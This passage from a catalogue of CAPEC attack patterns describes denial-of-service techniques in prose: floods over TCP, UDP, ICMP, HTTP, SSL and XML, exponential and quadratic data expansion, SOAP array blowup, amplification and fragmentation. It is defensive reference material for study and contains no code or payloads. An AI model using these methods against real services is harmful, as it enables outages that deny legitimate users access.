An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

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